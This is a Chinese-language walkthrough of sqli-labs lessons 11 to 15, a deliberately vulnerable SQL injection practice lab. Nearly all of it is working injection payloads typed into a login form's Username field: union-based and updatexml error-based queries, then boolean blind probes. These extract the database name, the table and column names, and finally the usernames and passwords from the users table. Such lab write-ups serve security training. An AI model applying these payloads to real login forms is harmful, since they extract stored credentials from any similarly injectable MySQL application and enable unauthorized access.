Less-11
判断注入点,先使用单引号进行判断
页面出现报错了,这种情况注入点一般来说就是单引号
在Username输入框输入语句:1' order by 3 #
页面回显没有第三列,再次进行测试
在Username输入框输入语句:1' order by 2 #
页面没有报错
在Username输入框输入语句:1' union select 1,2 #
成功回显出显示位
使用联合查询查看数据库名
在Username输入框输入语句:1' union select 1,database() #
得出数据库名为security
使用联合查询查看表名
在Username输入框输入语句:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
使用联合查询查看列名
在Username输入框输入语句:1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
使用联合查询查看字段名
在Username输入框中输入语句:1' union select 1,group_concat(id,'~',username,'~',password) from users #
Less-12
判断注入点
页面出现报错了,这种情况注入点一般来说就是双引号
在Username输入框输入语句:1") order by 3 #
页面回显没有第三列,再次进行测试
在Username输入框输入语句:1") order by 2 #
页面没有报错
在Username输入框输入语句:1") union select 1,2 #
成功回显出显示位
使用联合查询查看数据库名
在Username输入框输入语句:1") union select 1,database() #
得出数据库名为security
使用联合查询查看表名
在Username输入框输入语句:1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
使用联合查询查看列名
在Username输入框输入语句:1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
使用联合查询查看字段名
在Username输入框中输入语句:1") union select 1,group_concat(id,'~',username,'~',password) from users #
Less-13
判断注入点
输入语句:1') order by 3 #
页面报错,继续测试
输入语句:1') order by 2 #
页面没有报错
输入语句:1') union select 1,2 #
页面没有显示位,尝试报错注入
使用报错注入查询数据库名
输入语句:1') and updatexml(1,concat(1,database()),1) #
使用报错注入查询数据库中的表
输入语句:1') and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) #
使用报错注入查询所有字段
输入语句:1') and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) #
使用报错注入查询所有字段内容
输入语句:1') and updatexml(1,concat(1,(select group_concat(username,password) from users)),1) #
Less-14
判断注入点
输入语句:1" order by 3 #
页面报错,继续测试
输入语句:1" order by 2 #
页面没有报错
输入语句:1" union select 1,2 #
页面没有显示位,尝试报错注入
使用报错注入查询数据库名
输入语句:1" and updatexml(1,concat(1,database()),1) #
使用报错注入查询数据库中的表
输入语句:1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) #
使用报错注入查询所有字段
输入语句:1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) #
使用报错注入查询所有字段内容
输入语句:1" and updatexml(1,concat(1,(select group_concat(username,password) from users)),1) #
Less-15
判断注入点
当输入1' # 登陆时,登陆成功
由于登陆成功没有回显显示位,所以尝试报错注入
输入语句:1' and updatexml(1,concat(1,database()),1) #
没有回显报错信息,说明没有报错回显,可以尝试盲注
判断数据库名的长度
输入语句:1' or length(database())>8 #
页面回显错误,说明数据库名字长度小于8
输入语句:1' or length(database())>7 #
页面显示正确,说明数据库名长度位8
通过布尔盲注判断数据库的库名
输入语句:1' or ascii(substr(database(),1,1))>115 #
页面显示错误,说明第一个字母的ascii值小于115
输入语句:1' or ascii(substr(database(),1,1))>114 #
页面显示正确,说明第一个字母的ASCII值大于114,由此得出第一个字母的ASCII值位115
对比ASCII表得出,第一个字母为‘s’
以此类推,得出数据库名为'security'